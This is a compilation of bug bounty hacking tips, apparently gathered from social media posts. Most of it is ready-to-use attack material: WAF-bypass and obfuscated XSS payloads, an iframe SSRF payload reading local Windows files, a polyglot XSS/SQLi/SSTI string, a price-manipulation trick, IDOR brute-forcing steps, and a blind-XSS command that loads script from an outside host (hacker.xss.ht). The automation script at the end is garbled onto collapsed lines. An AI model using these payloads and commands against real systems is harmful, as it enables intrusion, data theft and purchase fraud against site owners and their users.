Bug Bounty Tips: Discovering the Origin IP by scanning your target IP range

When you're hunting on a bug bounty target and WAF stands in your way, here's a powerful technique to uncover the Origin IP by scanning the target's IP range.

We'll be using a simple yet effective tool called hakoriginfinder by hakluke! Get it at https://github.com/hakluke/hakoriginfinder

Here's my methodology to find the Origin IP using this tool and technique:

Discover your target's ASN and check https://bgp.he.net/AS33848#_prefixes?

Make a note of the target's IP range.
Assuming you have a WAF-protected domain called example[.]com. Use this command with the IP range Identified in step 1 and pass your target host against the -h parameter:

prips 93.184.216.0/24 | hakoriginfinder -h example[.]com

If you receive a "MATCH" output, there's a strong likelihood that you've successfully identified the Origin IP. Now, you can send requests with the same Host header to bypass WAF or for whatever your mission requires. Happy hunting!

credit:- Jayesh

Use these tools to bypass 403 most time it give false postive always check for content length.Both tool bypass protocol based,header based,path based and more techniques.
https://github.com/Dheerajmadhukar/4-ZERO-3
https://github.com/yunemse48/403bypasser

⭐𝐗𝐒𝐒 𝐭𝐨 𝐒𝐒𝐑𝐅 (𝐌𝐞𝐭𝐡𝐨𝐝 𝟐)⭐

* Note this only works if proper sanitization is not performed and the server processes the payload server-side *

Input the following code in the vulnerable field:
<iframe src="http://localhost/some/directory"></iframe>

You can also read local files:
<iframe src="file:///C:/Windows/win.ini" width="500" height="500">

This is especially critical if an application is running on an EC2 instance that does not have IMDSv2 required.

Price Manipulation Method

If the product price parameter cannot be changed, change the quantity of products.

items[1][quantity]=1 --> 234 €
items[1][quantity]=0.1 --> 23.4 €

Hello Hackers,
How are you?

A payload that bypasses Cloudflare WAF

<img/src=x onError="`${x}`;alert(`Hello`);">

You can now passively enumerate all endpoints of a website with katana. (No need waybackurls)

Example:

echo nasa.gov | katana -passive -f qurl -pss waybackarchive,commoncrawl,alienvault | tee endpoints

You can then check the status of these endpoints or filter in order to find new vulnerabilities:

Example:

echo nasa.gov | katana -passive -f qurl -pss waybackarchive,commoncrawl,alienvault | httpx -mc 200 | grep -E '\.(js|php)$' | tee specificEndpoints

When hunting for IDORs during a bug bounty program, consider the following tip:

1. Leverage archive tools: Utilize tools like Wayback Machine or specialized software like Waymore to manually archive and analyze subdomains. This can help uncover hidden or previously accessible endpoints that may now be vulnerable to IDORs.

Example usage:

python3 waymore.py -i sub.target.com -mode U -xcc

2. Extract all paths with specific keywords: After identifying potential paths, extract all URLs containing specific keywords, such as "admin" or "manager," to narrow down your search.

Example command:

cat result.txt | grep "admin"

3. Fuzzing: If you find a suspicious path but it doesn't yield any results, try fuzzing the URL with a wordlist. This can help uncover hidden or unintended parameters.

Example usage:

ffuf -u https://sub.taget.com/promo/offer/1234/FUZZ -mc 200

4. Brute force: If you find a path with a dynamic ID, consider brute-forcing the last digits or numbers. This can help uncover additional sensitive information or functionality.

Example scenario:

Found path: https://sub.taget.com/promo/offer/1234/details

Brute-force the last 3 digits: 1234

By following these steps, you can uncover hidden or unintended IDORs, leading to potential security vulnerabilities and rewards in bug bounty programs.

XSS Tip: If alert() is being converted to ALERT() and you can use Like

onerror="𐂃='',𐃨=!𐂃+𐂃,𐂝=!𐃨+𐂃,𐃌=𐂃+{},𐁉=𐃨[𐂃++],𐃵=𐃨[𐂓=𐂃],𐀜=++𐂓+𐂃,𐂠=𐃌[𐂓+𐀜],𐃨[𐂠+=𐃌[𐂃]+(𐃨.𐂝+𐃌)[𐂃]+𐂝[𐀜]+𐁉+𐃵+𐃨[𐂓]+𐂠+𐁉+𐃌[𐂃]+𐃵][𐂠](𐂝[𐂃]+𐂝[𐂓]+𐃨[𐀜]+𐃵+𐁉+'(𐂃)')()"

Payload for XSS + SQLi + SSTI/CSTI !

'"><noscript/onload=prompt(5);>{{7*7}}

XSS Oneliner

echo "testphp.vulnweb.com" | katana -passive -pss waybackarchive,commoncrawl,alienvault | uro | gf xss | Gxss -p XSSRef | dalfox pipe

subfinder -d testphp.vulnweb.com -silent | katana -passive -pss waybackarchive,commoncrawl,alienvault | uro | gf xss | Gxss -p XSSRef | dalfox pipe

Blind XSS In X-Forwarded-For Header

subfinder -d http://target.com | gau | bxss -payload '"><noscript src=https://hacker.xss.ht></noscript>' -header "X-Forwarded-For"

🫡Automate Your XSS

#!/bin/bash read TARGET
subfinder -d $TARGET -silent | tee domains.txt cat domains.txt | waybackurls | tee waybackurls.txt
cat waybackurls.txt | dalfox pipe